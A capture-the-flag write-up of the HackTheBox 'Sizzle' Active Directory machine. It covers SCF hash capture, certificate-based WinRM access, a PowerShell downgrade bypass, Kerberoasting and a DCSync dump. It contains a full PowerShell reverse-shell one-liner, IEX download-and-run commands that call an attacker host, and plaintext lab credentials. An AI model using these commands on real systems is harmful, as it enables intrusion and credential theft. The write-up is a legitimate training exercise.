CTF-Writeups/HackTheBox/Sizzle.md
2022-02-05 04:12:07 +05:00

19 KiB

HackTheBox-Sizzle

NMAP

Nmap scan report for 10.129.158.103
Host is up (0.15s latency).                                                     
Not shown: 65507 filtered ports                                        
PORT      STATE SERVICE       VERSION                                 
21/tcp    open  ftp           Microsoft ftpd                           
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)                 
| ftp-syst:                                                            
|_  SYST: Windows_NT                                                   
53/tcp    open  domain?                                                
| fingerprint-strings:                                                 
|   DNSVersionBindReqTCP:                                              
|     version                                                          
|_    bind                                                             
80/tcp    open  http          Microsoft IIS httpd 10.0                      
| http-methods:                                                        
|   Supported Methods: OPTIONS TRACE GET HEAD POST     
|_  Potentially risky methods: TRACE                                   
|_http-server-header: Microsoft-IIS/10.0                         
135/tcp   open  msrpc         Microsoft Windows RPC                    
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn            
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername:<unsupported>, DNS:sizzle.HTB.LOCAL
| Issuer: commonName=HTB-SIZZLE-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-02-11T12:59:51
| Not valid after:  2022-02-11T12:59:51
| MD5:   6346 07e3 ae83 0744 681e 3c0b 00ff 80d9
|_SHA-1: e071 44af 92c6 e202 8f21 0fc6 c9c7 433b 360b e3a9
|_ssl-date: 2022-01-31T15:25:38+00:00; 0s from scanner time.
443/tcp   open  ssl/http      Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| ssl-cert: Subject: commonName=sizzle.htb.local
| Issuer: commonName=HTB-SIZZLE-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-07-03T17:58:55
| Not valid after:  2020-07-02T17:58:55
| MD5:   240b 1eff 5a65 ad8d c64d 855e aeb5 9e6b
|_SHA-1: 77bb 3f67 1b6b 3e09 b8f9 6503 ddc1 0bbf 0b75 0c72
|_ssl-date: 2022-01-31T15:25:38+00:00; 0s from scanner time.
| tls-alpn: 
|   h2
|_  http/1.1
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername:<unsupported>, DNS:sizzle.HTB.LOCAL
| Issuer: commonName=HTB-SIZZLE-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-02-11T12:59:51
| Not valid after:  2022-02-11T12:59:51
| MD5:   6346 07e3 ae83 0744 681e 3c0b 00ff 80d9
|_SHA-1: e071 44af 92c6 e202 8f21 0fc6 c9c7 433b 360b e3a9
|_ssl-date: 2022-01-31T15:25:38+00:00; 0s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername:<unsupported>, DNS:sizzle.HTB.LOCAL
| Issuer: commonName=HTB-SIZZLE-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-02-11T12:59:51
| Not valid after:  2022-02-11T12:59:51
| MD5:   6346 07e3 ae83 0744 681e 3c0b 00ff 80d9
|_SHA-1: e071 44af 92c6 e202 8f21 0fc6 c9c7 433b 360b e3a9
|_ssl-date: 2022-01-31T15:25:38+00:00; -1s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername:<unsupported>, DNS:sizzle.HTB.LOCAL
| Issuer: commonName=HTB-SIZZLE-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-02-11T12:59:51
| Not valid after:  2022-02-11T12:59:51
| MD5:   6346 07e3 ae83 0744 681e 3c0b 00ff 80d9
|_SHA-1: e071 44af 92c6 e202 8f21 0fc6 c9c7 433b 360b e3a9
|_ssl-date: 2022-01-31T15:25:38+00:00; 0s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername:<unsupported>, DNS:sizzle.HTB.LOCAL
| Issuer: commonName=HTB-SIZZLE-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-02-11T12:59:51
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49694/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49695/tcp open  msrpc         Microsoft Windows RPC
49697/tcp open  msrpc         Microsoft Windows RPC
49701/tcp open  msrpc         Microsoft Windows RPC
49702/tcp open  msrpc         Microsoft Windows RPC
49720/tcp open  msrpc         Microsoft Windows RPC

PORT 21 (FTP)

Seeing ftp running we can check for anonymous login which was allowed but there wasn't anything there

PORT 80 (HTTP)

Visiting port 80 we see an image of a sizzle

Running gobuster we get /certenroll but that gives a forbidden status

PORT 139/445 (SMB)

We can try to run enum4linux which is used to enumerate smb shares to gather information about operating system , listing shares and if possible will try to gather usernames from LDAP and RPC

Nothing interesting so running smbclient we do see some shares as null authentication

However if we look the permissions using smbmap we are not allowed to access any shares

But still we can access one share that is Department Shares

We can further see some user's directories but all of them were empty

Since we can't see port 88 (kerberos) to accessible to use these usernames are useless , if kerberos was accessible to use we could have tried AS-REP roasting , navigating to Public folder , it's empty too but we can write files in that directory

And after a few minutes the file gets dissapearred , could be that the file is being accessed in some way so this is where windows forced authentication attacks comes in , since we can upoad files , uploading a file with .scf extension would allow us to make windows retrieve an icon file from our fake smb share

https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/

[Shell]
Command=2
IconFile=\\10.10.14.58\uwu\uwu.ico
[Taskbar]
Command=ToggleDesktop

And name the file @anything.scf , we used @ as we want this file to be listed on the top

Now running responder to catch NTLMv2 hash

Cracking the hash using hashcat

But we only get access to smb service

Running smbmap again with amanda user we can see that CertEnroll has read access rights

Downloading all files from the certEnroll share

The smb share has a description of Active Directory Services so could be that we need to deal with certificates , so visiting certsrv which is for requesting certificates in an AD

It asks for credentials but we already have got amanda's creds so we'll just use that

Here we can see that there's an option to request for a certificate

But this probably wasn't making any sense to me so visiting this link , it made something clear that ADCS allows you to generate certificate which would make you an authorized user to access internal assests and it could allow to access a service or a rdp connection

https://www.thesecmaster.com/how-to-request-a-certificate-from-windows-adcs/

So before requesting a certificate from ADCS we need to generate a CSR (Certificate Signing Request) file which is basically a signing request for CA (Certificate Authority) that will issue us a certificate considered as a trusted third party , so to generate it we can use openssl

https://www.tecmint.com/generate-csr-certificate-signing-request-in-linux/

openssl req -new -newkey rsa:2048 -nodes -keyout arz.key -out arz.csr

Now that we have a csr file , we need to request for a certificate through this

We need to download the certificate in DER format and we could then read the certificate as well

openssl x509 -inform der -in certnew.cer -noout -text

Now we need to use this certificate against WinRM but evil-winrm doesn't have this option so we need to use this ruby script to connect to winrm service using the certificate on port 5986

https://github.com/Alamot/code-snippets/blob/master/winrm/winrm_shell.rb

So our script will look like this

require 'winrm'

conn = WinRM::Connection.new(
  endpoint: 'https://10.129.157.36:5986/wsman',
  transport: :ssl,
  :client_cert => 'cert.cer',
  :client_key => 'arz.key',
  user: 'amanda',
  password: 'Ashare1972',
  :no_ssl_peer_verification => true
  
)

command=""

conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        print "PS > "
        command = gets
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end
    puts "Exiting with code #{output.exitcode}"
end

Running the script with ruby

In Users directory we see another user named mrlky but we didn't have permission to view it's content , didn't even have permissions to view contents of other directories and there wasn't anything interesting in other directories as well

So I decided to enumerate the AD using python bloodhound which works on LDAP and gather infomration regarding users ,groups , gpo's and etc in the domain

python3 bloodhound.py -d HTB.local -u 'Amanda' -p 'Ashare1972' -c all -ns 10.129.158.71

We'll get four json files which we need to pass it on to bloodhound GUI

After loading the json file in bloodhound , let's to run pre-build queries

So a query for domain admin run this means that we have the information about the AD on the machine

Using the query for Kerberoastable Accounts we see user MRLKY

And that user has DCSync rights meaning that through this account we can request data from domain controller , the data we usually retrieve from DC is the NTDS.dit file which contains all domain users hashes

But issue here is that port 88 isn't exposed externally , meaning that we can't connect to kerberos from our host machine so we may need to do portforwarding in order access kerberos or we can try to import PowerView or AD-Module which is a powershell module through which we can perform AD enumeration and kerberoasting

So when downloading the powershell module through IEX which allows to load the powershell script in the memory without saving it on hard disk it gave an error "Cannot create type. Only core types are supported in this language mode."

IEX(New-Object Net.WebClient).downloadString('http://10.10.14.55:2222/PowerView.ps1');

Searching for this error I found something related to this that there's a securtiy policy for powershell and it is set to ConstrainedLanguage which will block some cmdlets to be executed like downloading a file or loading the powershell script

https://cyberark-customers.force.com/s/article/language-mode-error

Googling about bypassing this , I found an article which suggested that downgrading powershell would bypass it

https://www.ired.team/offensive-security/code-execution/powershell-constrained-language-mode-bypass

So checking the current version of powershell we have here is 5.1.14393.2636

Now spawning powershell version 2 and checking if it has security policies or not

It shows FullLanguage meaning that we can execute any cmdlets as there's no restriction on it

powershell -version 2 -c "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.55:2222/PowerView.ps1');"

This downloaded the powershell script , so let's see if we can use any of the cmdlets of PowerView module

Even tho we had bypassed powershell security policy but still we cannot run commands from PowerView so try let's using Rubueus that is an executable which we can perform kerberoasting

But running this exe will again throw an error that it is blocked by group policy

The exe is getting blocked because of AppLocker being used , now to check the status of AppLocker which essentially tell windows to allow or deny users to run any executables or files

We can see that a rule is being used if any rule wasn't being used it would have shown us blank in the rule section , so looking for Applocker bypasses I found a github repo for generating metasploiy payloads that can bypass Applocker

https://github.com/GreatSCT/GreatSCT

Setting up GreatSCT

I gaveup on this tool as it was taking a long time to install and realized that we can still run powershell cmdlets by first gettting a revershell through powershell version 2

$client = New-Object System.Net.Sockets.TCPClient("10.10.14.55",3333);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Invoke-WebRequest http://10.10.14.55:2222/powershell_rev.ps1 -outfile shell.ps1

powershell -version 2 -nop -nop -noexit -exec bypass -c '.\shell.ps1'

We can verify it as well that we have a reverse shell as powershell version 2

Now when we try to load powerview through IEX and run cmdlets they will get executed

First I tried to use AutoKerberoast.ps1 to get TGS for mrlky but it failed

Using powerview's Invoke-UserImpersonation cmdlet it impersontated mrlky token so that we can then perform keberoast to get TGS

https://powersploit.readthedocs.io/en/latest/Recon/Invoke-UserImpersonation/

$Password = ConvertTo-SecureString 'Ashare1972' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('HTB.LOCAL\amanda', $Password)

Now we need to crack this ticket to get the password

hashcat -a 0 -m 13100 hash2.txt /opt/SecLists/Passwords/rockyou.txt --force

Now we don't we have to do anything crazy here , we don't even need a shell as mrlky user because from the bloodhound graph we saw that this user has DCsync rights so we can dump NTDS.dit but you may think that kerbeors is running locally on the machine but impacket's secretsdump.py works on rpc calls so you don't need to worry about having access to kerberos

python3 secretsdump.py htb.local/mrlky:Football#7@10.129.158.71

We can now use either smbexec.py , psexec.py or wmiexec.py to get a shell as NT AUTHORITY \ SYSTEM or Administrator

References